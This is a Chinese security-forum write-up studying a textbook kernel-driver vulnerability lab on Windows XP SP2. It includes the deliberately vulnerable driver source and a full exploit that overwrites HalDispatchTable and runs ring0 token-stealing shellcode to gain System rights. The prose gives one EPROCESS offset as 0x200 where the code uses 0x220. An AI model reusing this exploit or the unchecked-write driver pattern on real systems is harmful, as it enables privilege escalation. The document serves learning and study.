查看原文
其他

0day书中内核漏洞exploitme.sys的学习记录

1900 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:1900




前言


本文是对0day安全这本书中,关于内核漏洞的入门的例子的学习分享。由于作者这一部分有一些细节没有说清楚,所以看的时候挺懵的。查了一些资料以后算是比较完整的理解了下来,分享出来给新手看看。

实验环境是Win XP sp2。



漏洞程序


下面这段是对作者所说的具有的漏洞的驱动代码,不过我对它进行了一些修改,可以更容易看懂。
#include <ntifs.h> #define DEVICE_NAME L"\\Device\\ExploitMe"#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0) VOID DriverUnload(IN PDRIVER_OBJECT driverObject);NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){ NTSTATUS status = STATUS_SUCCESS; PDEVICE_OBJECT pDeviceObj = NULL; UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME); UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK); ULONG i = 0; // 创建设备 status = IoCreateDevice(driverObject, NULL, &uDeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObj); if (!NT_SUCCESS(status)) { DbgPrint("IoCreateDevice Error 0x%X\r\n", status); goto exit; } // 设置数据交互方式 // pDeviceObj->Flags |= DO_BUFFERED_IO; // 缓冲区方式读写 // pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式读写 // 创建符号链接 status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName); if (!NT_SUCCESS(status)) { DbgPrint("IoCreateSymbolicLink Error 0x%X\r\n", status); goto exit; } for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { driverObject->MajorFunction[i] = DispatchCommon; } driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl; DbgPrint("驱动加载成功\r\n"); exit: driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS;} NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp){ NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; PIO_STACK_LOCATION pIoStack = NULL; ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0; PVOID pInputBuffer = NULL, pOutputBuffer = NULL; // 获取设备栈 pIoStack = IoGetCurrentIrpStackLocation(pIrp); // 获取输入缓冲区长度与输入缓冲区 uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength; pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer; // 获取输出缓冲区长度与输出缓冲区 uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength; pOutputBuffer = pIrp->UserBuffer; // 获取控制码 uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode; // 根据控制码执行操作 switch(uIoControlCode) { case CTL_EXPLOIT_ME: { DbgPrint("CTL_EXPLOIT_ME"); if (uInputLength >= 4 && uOutputLength >= 4) { // 将输入地址中的内容赋值到输出地址中 *(PULONG)pOutputBuffer = *(PULONG)pInputBuffer; uInformation = sizeof(ULONG); status = STATUS_SUCCESS; } break; } default: { break; } } pIrp->IoStatus.Information = uInformation; pIrp->IoStatus.Status = status; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS;} NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp){ pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){ UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK); if (driverObject->DeviceObject) { IoDeleteSymbolicLink(&uSymbolLinkName); IoDeleteDevice(driverObject->DeviceObject); } DbgPrint("驱动卸载完成\r\n");}

这段驱动代码有以下两个特点:

1、没有指定设备的数据交互方式,此时用户层和这个驱动的交互就会是METHOD_NEITHER。而这种方式会对用户层传入的输入输出的地址不会进行处理,直接进行更改。

2、在对应的控制码的操作中,程序只是判断输入输出的长度是否大于等于4。并没有判断输入输出的地址是否是合法的,地址中的内容是否是可以随意更改的,直接就将输入地址中的内容赋值到了输出地址中。

接下来通过一个正常的示例来看看这段驱动的作用。
#include <cstdio>#include <cstdlib>#include <windows.h> #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4 void ShowError(PCHAR msg); int main(){ HANDLE hDevice = NULL; DWORD dwInput = 1900; DWORD dwOutput = 0; DWORD dwReturnLength = 0; hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile"); goto exit; } printf("修改前的dwOutput:%d\n", dwOutput); if (!DeviceIoControl(hDevice, CTL_EXPLOIT_ME, &dwInput, INPUT_BUFFER_LENGTH, &dwOutput, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { ShowError("DeviceIoControl"); goto exit; } printf("修改后的dwOutput:%d\n", dwOutput); exit: system("pause"); return 0;} void ShowError(PCHAR msg){ printf("%s Error %d\n", msg, GetLastError());}

在这段代码中,将合法的输入输出地址也就是dwInput和dwOutput传给了驱动。那么在驱动中,就会将dwInput中的内容赋值到dwOutput中。
可以看到,驱动成功的将输出地址中保存的内容赋值到输入地址中。但是由于没有对地址的合法性进行检查,所以如果可以知道保存了系统函数的地址,就可以直接修改这个地址中保存的数据。这样,当程序再次调用这个函数的时候,就会调用我们写入的地址。这个手法和IAT Hook的的原理是一样的,感兴趣的话可以看看这篇Win PE系列之导入表解析与IAT Hook技术

作者给出的例子是,修改HAL_DISPATCH结构体中的HalQuerySuystemInformation的入口地址,将它改为0地址。这样程序在调用这个函数的时候,就会调用0地址中保存的指令。而我们可以在0地址申请一段内存,并写入想要执行的指令,这样就达到了执行想要的指令的目的。

那么要完成上面的内容,就要以下三个步骤:

1、在0地址申请内存并写入要执行的指令;

2、找到保存HalQuerySystemInformation函数地址的地址,并通过驱动将函数地址改为0地址;

3、调用HalQuerySystemInformation函数;

接下来将对这三个步骤进行一一讲解。



漏洞利用


1、在0地址申请内存,并写入要执行的指令


在这里,申请内存使用的内核API是ZwAllocateVirtualMemory,该函数的定义如下。
NTSTATUS NtAllocateVirtualMemory( __in HANDLE ProcessHandle, __inout PVOID *BaseAddress, __in ULONG_PTR ZeroBits, __inout PSIZE_T RegionSize, __in ULONG AllocationType, __in ULONG Protect );


参数
含义
ProcessHandle
要申请内存的进程句柄。使用NtCurrentProcess宏来指定当前进程
BaseAddress
期望内存基址指针。非0时,系统将计算此值得页对齐地址,尝试按照此地址块申请内存。当该值等于0时,系统将寻找第一个未使用得内存块。当函数调用成功时,此参数将接收实际得基址
ZeroBits
基址最高位为0得数量。当该值为0,此值将被忽略。
RegionSize
期望大小。系统计算实际基址与该值得页对齐边界,以实际分配大小。当函数调用成功时,此参数将接收实际分配得大小
AllocationType
指定要分配的页类型
Protect
申请的页属性,这里选择PAGE_EXECUTE_READWRITE,也就是可读可写可执行

由参数的含义可以知道,要申请0地址的内存是不可以通过直接将BaseAddress指定为0的方式来实现。因为你将它指定为0,那么就会有系统来决定分配内存的区域。想要在0地址分配内存,需要用到MEM_TOP_DOWN这个页类型,也就是第五个参数要包含MEM_TOP_DOWN这个页类型。

该类型的含义是将从尽可能高得地址分配内存。当第二个参数指定为一个比较小得数,比如1或者4这种,而第五个参数又带有MEM_TOP_DOWN标志。那么根据页对齐,此时会向上对齐,返回得BaseAddress就会是0且RegionSize将会是两个页的大小。

2、找到函数HalQuerySystemInformation函数地址的保存地址


要找到这个函数的保存地址,需要找到HalDispatchTable。该值是一个HAL_DISPATCH结构体遍历,首先看看HAL_DISPATCH结构体的定义。
typedef struct { ULONG Version; pHalQuerySystemInformation HalQuerySystemInformation; pHalSetSystemInformation HalSetSystemInformation; pHalQueryBusSlots HalQueryBusSlots; ULONG Spare1; pHalExamineMBR HalExamineMBR; pHalIoReadPartitionTable HalIoReadPartitionTable; pHalIoSetPartitionInformation HalIoSetPartitionInformation; pHalIoWritePartitionTable HalIoWritePartitionTable; pHalHandlerForBus HalReferenceHandlerForBus; pHalReferenceBusHandler HalReferenceBusHandler; pHalReferenceBusHandler HalDereferenceBusHandler; pHalInitPnpDriver HalInitPnpDriver; pHalInitPowerManagement HalInitPowerManagement; pHalGetDmaAdapter HalGetDmaAdapter; pHalGetInterruptTranslator HalGetInterruptTranslator; pHalStartMirroring HalStartMirroring; pHalEndMirroring HalEndMirroring; pHalMirrorPhysicalMemory HalMirrorPhysicalMemory; pHalEndOfBoot HalEndOfBoot; pHalMirrorVerify HalMirrorVerify; pHalGetAcpiTable HalGetCachedAcpiTable; pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback; #if defined(_IA64_) pHalGetErrorCapList HalGetErrorCapList; pHalInjectError HalInjectError;#endif } HAL_DISPATCH, *PHAL_DISPATCH;

根据改结构体的定义,可以看到HalQuerySystemInformation函数就保存在HAL_DISPATCH结构体偏移为0x04的地址。而HalDispatchTable是从内核模块中导出的,所以要就需要找到内核模块在内存中的基地址,再根据偏移得到HalDispatchTable的VA。而要找到内核模块的基地址就需要用到ZwQuerySystemInformation这个API。该函数的定义如下:
NTSTATUS WINAPI ZwQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);

参数
含义
SystemInformationClass
要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体
SystemInformation
指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass
SystemInformationLength
SystemInformation参数指向的缓冲区的大小
ReturnLength
指向函数写入所请求信息的实际大小的位置的可选指针。如果该大小小于或等于SystemInformationLength参数,则函数将信息复制到SystemInformation缓冲区中;否则,它将返回NTSTATUS错误代码,并以ReturnLength的形式返回接收请求信息所需的缓冲区大小。

而SYSTEM_INFORMATION_CLASS,在文档中的部分内容如下:
typedef enum _SYSTEM_INFORMATION_CLASS { SystemInformationClassMin = 0, SystemBasicInformation = 0, SystemProcessInformation = 5, SystemProcessesAndThreadsInformation = 5, SystemModuleInformation = 11, SystemExceptionInformation = 33, SystemKernelDebuggerInformation = 35,} SYSTEM_INFORMATION_CLASS;

当该值指定的是SystemModuleInformation(11)的时候,SystemInformation返回的就是SYSTEM_MODULE_INFORMATION的指针。改结构体的定义如下:
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; /* Length of module name not including the path, this field contains valid value only for NTOSKRNL module */ USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

可以看到SYSTEM_MODULE_INFORMATION中保存了SYSTEM_MODULE_INFORMATION_ENTRY的数组。数组中的每一个元数都保存了一个模块的信息,其中的Base保存模块的加载地址,ImageName保存了模块的名称。而本次查询一共有多少个SYSTEM_MODULE_INFORMATION的数组则保存在Count中。

由于,一开始并不知道要申请多大的内存才可以保存这些数据。所以,需要调用两次函数,第一次调用的目的就是通过将第三个参数传入0来获得需要使用的内存大小。

查询到的内核模块中的第一个就是要使用的内核模块。这样就可以获得这个内核模块的名称,接下来就需要使用LdrLoadDll来将内核模块导入,该函数的定义如下:
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall IMP_SYSCALL LdrLoadDll(IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle);

参数
含义
DllPath
可选,指定要加载的DLL的路径
DllCharacteristics
可选,指向要加载的DLL的属性
DllName
指向要加载的DLL的名称
DllHandle
用来接收得到的DLL的句柄

通过这个函数就可以将模块加载到内存中算出HalDispatchTable的偏移,在使用上面得到的ImageBase就可以计算机HalDispatchTable在内核中的具体位置,接下来就通过IO控制码发送消息给驱动完成修改。

3、调用HalQuerySystemInformation函数


要调用这个函数,只需要调用NtQueryIntervalProfile函数的时候,它的第一个参数传入的不等于ProfileTime和ProfileAlignmentFixup就好。



ShellCode的提权原理


首先要知道0xFFDFF000这个地址保存的是_KPCR,该结构体的定义如下:
kd> dt _KPCRnt!_KPCR +0x000 NtTib : _NT_TIB +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 DebugActive : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B +0x094 HalReserved : [16] Uint4B +0x0d4 InterruptMode : Uint4B +0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B +0x120 PrcbData : _KPRCB

该结构体偏移0x120处保存的是_KPCB结构体,该结构体的部分定义如下:
kd> dt _KPRCBntdll!_KPRCB +0x000 MinorVersion : Uint2B +0x002 MajorVersion : Uint2B +0x004 CurrentThread : Ptr32 _KTHREAD +0x008 NextThread : Ptr32 _KTHREAD +0x00c IdleThread : Ptr32 _KTHREAD +0x010 Number : Char

据此可以知道0xFFDFF124保存的是当前线程的_KTHREAD,而_KTHREAD又是_ETHREAD结构体中的第一个成员,所以0xFFDFF124保存的其实是当前_ETHREAD结构体。_ETHREAD结构体中保存的内容如下:
kd> dt _ETHREADntdll!_ETHREAD +0x000 Tcb : _KTHREAD +0x1c0 CreateTime : _LARGE_INTEGER +0x1c0 NestedFaultCount : Pos 0, 2 Bits +0x1c0 ApcNeeded : Pos 2, 1 Bit +0x1c8 ExitTime : _LARGE_INTEGER +0x1c8 LpcReplyChain : _LIST_ENTRY +0x1c8 KeyedWaitChain : _LIST_ENTRY +0x1d0 ExitStatus : Int4B +0x1d0 OfsChain : Ptr32 Void +0x1d4 PostBlockList : _LIST_ENTRY +0x1dc TerminationPort : Ptr32 _TERMINATION_PORT +0x1dc ReaperLink : Ptr32 _ETHREAD +0x1dc KeyedWaitValue : Ptr32 Void +0x1e0 ActiveTimerListLock : Uint4B +0x1e4 ActiveTimerListHead : _LIST_ENTRY +0x1ec Cid : _CLIENT_ID +0x1f4 LpcReplySemaphore : _KSEMAPHORE +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE +0x208 LpcReplyMessage : Ptr32 Void +0x208 LpcWaitingOnPort : Ptr32 Void +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION +0x210 IrpList : _LIST_ENTRY +0x218 TopLevelIrp : Uint4B +0x21c DeviceToVerify : Ptr32 _DEVICE_OBJECT +0x220 ThreadsProcess : Ptr32 _EPROCESS +0x224 StartAddress : Ptr32 Void +0x228 Win32StartAddress : Ptr32 Void

可以看到_ETHREAD偏移0x200的地址,保存的是线程对应的_EPROCESS结构体,该结构体的部分成员如下:
kd> dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER +0x078 ExitTime : _LARGE_INTEGER +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x090 QuotaUsage : [3] Uint4B +0x09c QuotaPeak : [3] Uint4B +0x0a8 CommitCharge : Uint4B +0x0ac PeakVirtualSize : Uint4B +0x0b0 VirtualSize : Uint4B +0x0b4 SessionProcessLinks : _LIST_ENTRY +0x0bc DebugPort : Ptr32 Void +0x0c0 ExceptionPort : Ptr32 Void +0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0c8 Token : _EX_FAST_REF +0x0cc WorkingSetLock : _FAST_MUTEX

其中需要注意的三个成员是:
偏移
成员
含义
0x84
UniqueProcessId
进程PID
0x88
ActiveProcessLinks
双向链表可以用来遍历进程
0xC8
Token
保存了进程的令牌

所以作者给的ShellCode的提权办法是通过0x88这个成员来遍历所有的进程,去寻找System。因为System进程的PID都是等于4,如下图所示,所以通过判断0x84保存的进程PID是否是4来判断是否找到了System进程。随后将System进程的Token赋值给本进程这就完成了提权。

如果对这个遍历进程的原理不太清楚的可以看下这一篇文章,下面有关于这种进程遍历原理的描述进程隐藏技术(https://bbs.pediy.com/thread-269919.htm)

完整的完成漏洞利用达到提权的代码如下:
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。// #include <cstdio>#include <cstdlib>#include <windows.h>#include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4#define PAGE_SIZE 0x1000#define KERNEL_NAME_LENGTH 0X0D void ShowError(PCHAR msg, NTSTATUS status);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){ NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE; PVOID ShellCodeAddress = NULL; PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL; DWORD dwImageBase = 0; PVOID pMappedBase = NULL; UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 }; UNICODE_STRING uDllName; PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL; DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; // 获得0地址的内存 ShellCodeAddress = (PVOID)sizeof(ULONG); status = NtAllocateVirtualMemory(NtCurrentProcess(), &ShellCodeAddress, 0, &ShellCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) { printf("NtAllocateVirtualMemory Error 0x%X\n", status); goto exit; } // 将ShellCode写到申请的0地址空间中 RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize); // 此时dwReturnLength是0,所以函数会由于长度为0执行失败 // 然后系统会在第四个参数指定的地址保存需要的内存大小 status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (status != STATUS_INFO_LENGTH_MISMATCH) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 按页大小对齐 dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, dwReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pModuleInformation) { printf("VirtualAlloc Error"); goto exit; } status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (!NT_SUCCESS(status)) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 模块加载的基地址 dwImageBase = (DWORD)(pModuleInformation->Module[0].Base); // 获取模块名 RtlMoveMemory(szImageName, (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength), KERNEL_NAME_LENGTH); // 转换为UNICODE_STRING类型 RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName); status = (NTSTATUS)LdrLoadDll(NULL, &dwDllCharacteristics, &uDllName, &pMappedBase); if (!NT_SUCCESS(status)) { ShowError("LdrLoadDll", status); goto exit; } // 获取内核HalDispatchTable函数表地址 pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable"); if (pHalDispatchTable == NULL) { printf("GetProcAddress Error\n"); goto exit; } pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase); pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG)); // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFile Error"); goto exit; } DWORD dwInput = 0; // 与驱动设备进行交互 if (!DeviceIoControl(hDevice, CTL_EXPLOIT_ME, &dwInput, INPUT_BUFFER_LENGTH, pXHalQuerySystemInformation, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { printf("DeviceIoControl Error"); goto exit; } status = NtQueryIntervalProfile(ProfileTotalIssues, NULL); if (!NT_SUCCESS(status)) { ShowError("NtQueryIntervalProfile", status); goto exit; } if (g_bIsExecute) printf("Ring0 代码执行完成\n"); exit: if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE); if (hDevice) NtClose(hDevice); if (pMappedBase) LdrUnloadDll(pMappedBase); system("pause"); return 0;} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){ // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, 0xFFDFF124 mov eax, [eax] // 取线程对应的EPROCESS mov esi, [eax + 0x220] mov eax, esisearchXp: mov eax, [eax + 0x88] sub eax, 0x88 mov edx, [eax + 0x84] cmp edx, 0x4 jne searchXp mov eax, [eax + 0xC8] mov [esi + 0xC8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE;} void ShowError(PCHAR msg, NTSTATUS status){ printf("%s Error 0x%X\n", msg, status);}




运行结果


可以看到,最终程序成功获得了System的权限。





 


看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区





# 往期推荐

1.协议Fuzz工具整合

2.CVE-2021-40449(UAF)学习

3.HEVD学习笔记——UAF

4.分析某app的密码加密

5.利用Lighthouse进行覆盖率统计及其优化

6.从代码的角度学习AFLSMART的特性



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存